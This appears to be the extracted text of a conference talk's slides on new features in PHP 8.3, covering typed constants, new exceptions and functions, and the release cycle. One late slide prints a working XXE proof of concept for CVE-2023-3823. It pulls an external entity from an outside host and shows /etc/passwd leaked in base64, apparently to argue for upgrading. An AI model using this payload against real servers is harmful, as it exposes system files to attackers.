What's New in
Tim Bond
MergePHP - November 9, 2023
Date | Milestone |
---|---|
June 8, 2023 | Alpha Release 1 |
June 22, 2023 | Alpha Release 2 |
July 6, 2023 | Alpha Release 3 |
July 18, 2023 | Feature Freeze |
July 20, 2023 | Beta Release 1 |
August 3, 2023 | Beta Release 2 |
August 17, 2023 | Beta Release 3 |
August 31, 2023 | Release Candidate 1 |
September 14, 2023 | Release Candidate 2 |
September 28, 2023 | Release Candidate 3 |
October 12, 2023 | Release Candidate 4 |
October 26, 2023 | Release Candidate 5 |
November 9, 2023 π | Release Candidate 6 |
November 23, 2023 | General Availability Release |
TL; DR:
Not a lot
Typed Class Constants
<?php
interface I {
const TEST = "Test";
}
class Foo implements I {
const TEST = [];
}
class Bar extends Foo {
const TEST = null;
}
https://wiki.php.net/rfc/typed_class_constants
<8.3
Typed Class Constants
<?php
class TypedConstants {
public const float VERSION = 8.3;
private const bool TRUE = false;
}
https://wiki.php.net/rfc/typed_class_constants
class Foo extends TypedConstants {
public const string VERSION = '8.3';
}
// Fatal error: Type of Foo::VERSION must be compatible
// with TypedConstants::VERSION of type string
More Appropriate Date/Time Exceptions
Throwable
βββ Error
| βββ DateError
| βββ DateObjectError
β βββ DateRangeError
βββ Exception
βββ DateException
βββ DateInvalidOperationException
βββ DateInvalidTimeZoneException
βββ DateMalformedIntervalStringException
βββ DateMalformedPeriodStringException
βββ DateMalformedStringException
https://wiki.php.net/rfc/datetime-exceptions
More Appropriate Date/Time Exceptions
<?php
try {
$interval = new DateInterval('PT' . riskyFunc() . 'S');
} catch(Exception $e) {
// is the interval bad or did the function throw?
}
https://wiki.php.net/rfc/datetime-exceptions
More Appropriate Date/Time Exceptions
<?php
try {
$interval = new DateInterval('PT' . riskyFunc() . 'S');
} catch(DateMalformedIntervalStringException $e) {
// handle malformed input
} catch(RiskyException $e) {
// handle exception thrown by risky function
}
https://wiki.php.net/rfc/datetime-exceptions
PHP CLI Lint (php -l) supports linting multiple files at once
# < 8.3
php -l foo.php bar.php
No syntax errors detected in foo.php
https://github.com/php/php-src/issues/10024
# >= 8.3
php -l foo.php bar.php
No syntax errors detected in foo.php
No syntax errors detected in bar.php
#[Override]
attribute
<?php
abstract class Parent {
public function getNumber(): int {
return 1;
}
}
final class Child extends Parent {
#[Override]
public function getNumber(): int {
return 2;
}
}
https://wiki.php.net/rfc/marking_overriden_methods
#[Override]
attribute
<?php
abstract class Parent {
public function generateNumber(): int { // was getNumber
return 1;
}
}
final class Child extends Parent {
#[Override]
public function getNumber(): int {
return 2;
}
}
https://wiki.php.net/rfc/marking_overriden_methods
Fatal error: Child::methodWithDefaultImplementation() has
#[\Override] attribute, but no matching parent method exists
New mb_str_pad
Function
<?php
var_dump(str_pad('βΆβΆ', 6, 'β€ββ', STR_PAD_RIGHT)); // BAD: string(6) "βΆβΆ"
var_dump(str_pad('βΆβΆ', 6, 'β€ββ', STR_PAD_LEFT)); // BAD: string(6) "βΆβΆ"
var_dump(str_pad('βΆβΆ', 6, 'β€ββ', STR_PAD_BOTH)); // BAD: string(6) "βΆβΆ"
var_dump(mb_str_pad('βΆβΆ', 6, 'β€ββ', STR_PAD_RIGHT)); // GOOD: string(18) "βΆβΆβ€βββ€"
var_dump(mb_str_pad('βΆβΆ', 6, 'β€ββ', STR_PAD_LEFT)); // GOOD: string(18) "β€βββ€βΆβΆ"
var_dump(mb_str_pad('βΆβΆ', 6, 'β€ββ', STR_PAD_BOTH)); // GOOD: string(18) "β€ββΆβΆβ€β"
https://wiki.php.net/rfc/mb_str_pad
New Randomizer
class
https://wiki.php.net/rfc/randomizer_additions
Negative indexes
<?php
$array = [];
$array[-5] = 'a';
$array[] = 'b';
print_r($array);
Array
(
[-5] => a
[0] => b
)
Array
(
[-5] => a
[-4] => b
)
< 8.3
>= 8.3
Stack Overflow Detection
https://github.com/php/php-src/pull/9104
New ini directives:
zend.max_allowed_stack_size
-
zend.reserved_stack_size
Will emit an Error
when call stack exceeds the difference
Changes to range()
- A
TypeError
is now thrown when passingobject
s,resource
s, orarray
s as the boundary inputs. - A more descriptive
ValueError
is thrown when passing0
for$step
. - A
ValueError
is now thrown when using a negative$step
for increasing ranges. - If
$step
is a float that can be interpreted as an int, it is now done so. - A
ValueError
is now thrown if any argument is infinity or NAN. - An
E_WARNING
is now emitted if$start
or$end
is the empty string. The value continues to be cast to the value0
. - An
E_WARNING
is now emitted if$start
or$end
has more than one byte, only if it is a non-numeric string. - An
E_WARNING
is now emitted if$start
or$end
is cast to an integer because the other boundary input is a number. (e.g.range(5, 'z');
). - An
E_WARNING
is now emitted if$step
is a float when trying to generate a range of characters, except if both boundary inputs are numeric strings (e.g.range('5', '9', 0.5);
does not produce a warning). -
range()
now produce a list of characters if one of the boundary inputs is a string digit instead of casting the other input to int (e.g.range('9', 'A');
).
New Function: json_validate
<?php
$json = '{';
var_dump(json_validate($json));
// bool(false)
https://wiki.php.net/rfc/json_validate
New Function: json_validate
json_validate(string $json, int $depth = 512, int $flags = 0): bool
https://wiki.php.net/rfc/json_validate
The only valid flag is JSON_INVALID_UTF8_IGNORE
Fallback value support for php.ini environment variables
xdebug.client_host = "${XDEBUG_CLIENT_HOST}"
https://github.com/php/php-src/pull/11351
xdebug.client_host = "${XDEBUG_CLIENT_HOST:-localhost}"
Dynamic Class Constants
<?php
class Constants {
public const NUMBER = 1;
}
$constName = 'NUMBER';
echo Constants::{$constName};
enum Numbers: int {
case ONE = 1;
}
$enumName = 'ONE';
echo MyEnum::{$enumName}->value;
https://wiki.php.net/rfc/dynamic_class_constant_fetch
$_SERVER['SERVER_SOFTWARE']
PHP 8.2.0 Development Server
PHP/8.3.0 (Development Server)
Old:
New:
Now compliant with RFC3875 - 4.1.17!
if (PHP_SAPI === 'cli-server') { /* ... */ }
Anonymous Readonly Classes
<?php
$class = new readonly class {
public function __construct(
public string $foo = 'bar',
) {}
};
(no RFC, considered a bug in the original implementation)
Fatal error: Uncaught Error: Cannot modify readonly
property class@anonymous::$foo
$class->foo = 'baz';
Invariant constant visibility
<?php
interface I {
public const FOO = 'foo';
}
class C implements I {
private const FOO = 'foo';
}
π«
Arbitrary static variable initializers
<?php
function bar(): int {
return 1;
}
function foo(): void {
static $i = bar();
echo $i++, "\n";
}
foo();
https://wiki.php.net/rfc/arbitrary_static_variable_initializers
Fatal error: Constant expression contains invalid operations
Changes to Traits and Static Properties
Uses of traits with static properties will now redeclare static properties inherited from the parent class. This will create a separate static property storage for the current class. This is analogous to adding the static property to the class directly without traits.
More Keys Returned for gc_status()
- running
- protected
- full
- buffer_size
- application_time
- collector_time
- destructor_time
- free_time
https://github.com/php/php-src/pull/9336
Changes to assert methods
-
assert_options()
now emits anE_DEPRECATED
- The
assert.active
INIsetting and theASSERT_ACTIVE
constant are now deprecated, and the deprecation message points to thezend_assertions
INI setting as the replacement. - The following INI values will cause the engine to emit
E_DEPRECATED
at startup:-
assert.warning
(and the relatedASSERT_WARNING
constant) -
assert.bail
(and the relatedASSERT_BAIL
constant) -
assert.callback
(and the relatedASSERT_CALLBACK
constant) -
assert.exception
(and the relatedASSERT_EXCEPTION
constant)
-
- The
assert()
method returns void instead of bool
Improvements to array_product()
and array_sum()
- When encountering a non-numeric value:
- If an object implements a numeric cast (which is only possible for internal classes or classes provided by extensions), they will cast to that value for the calculation
- All other values which cannot be cast to an integer or float will continue to be skipped, but now also emit
E_WARNING
.
++
and --
operator improvements
-
E_WARNING
emitted on nulls, booleans, objects, etc - New
str_increment()
andstr_decrement()
functionsstr_increment('ABC'); // ABD
- Far too many examples to show here, see the RFC:
https://wiki.php.net/rfc/saner-inc-dec-operators
Everything else
-
unserialize()
errors are nowE_WARNING
instead ofE_NOTICE
- readonly properties can be reinitialize when calling
__clone()
- New function
class_alias()
- New
stream_context_set_options
function- Will probably eventually make
stream_context_set_option
no longer accept an array
- Will probably eventually make
- SQLite3 extension uses exceptions by default
- As mysqli did in 8.1
- Closures created from magic methods now support named arguments
Should we upgrade?
π€
Yes
CVE-2023-3823 Exploit
<?php
$xml= "<?xml version='1.0' encoding='utf-8' ?><!DOCTYPE root " .
"[<!ENTITY % remote SYSTEM \"https://bin.icewind.me/r/p0g" .
"zLJ\"> %remote; %intern; %trick;]><D:propfind xmlns:D='D" .
"AV:'><D:allprop/></D:propfind>";
libxml_use_internal_errors(true);
$dom = new DOMDocument();
$dom->loadXML($xml);
echo $dom->textContent;
foreach (libxml_get_errors() as $error) {
var_dump($error);
}
https://github.com/php/php-src/security/advisories/GHSA-3qrf-m4j2-pcrr
WOOT{{base64 encoded content of /etc/passwd}}WOOT
Release Cycle
- New Release every year
- Each release lives for 3 years
- 2 years bug fixes only
- 1 year security fixes only
Why no LTS??
- End users want it, core maintainers don't
- Maintaining 3 versions is hard enough
- Backporting patches isn't alawys easy, is rarely fun
- In extreme cases, bugfixes almost become new features
- "Maintained because used" or "used because it's maintained"?
- The longer end users put off an upgrade, the harder it becomes
- What about the community of extensions, frameworks, etc?
At what point do we make radical changes, or do we fork?
- Bad code:
- Does nothing
- Issues a warning
- Causes an error
- Throws an exception
- Isn't allowed
- Next major version of PHP?
- Fork PHP?
How can I play with it now?
- Easy:
docker container run --rm php:8.3.0beta6-cli php -i
- Medium:
- POSIX
docker container run --rm -v $(pwd):/app/ php:8.3.0beta6-cli php /app/script.php
-
Windows - cmd
docker container run --rm -v %cd%:/app/ php:8.3.0beta6-cli php /app/script.php
-
Windows - PowerShell
docker container run --rm -v ${PWD}:/app/ php:8.3.0beta6-cli php /app/script.php
- POSIX
- Hard:
FROM php:8.3.0beta6-...
Questions
What's New in PHP 8.3
By Tim Bond
What's New in PHP 8.3
MergePHP - November 9, 2023
- 76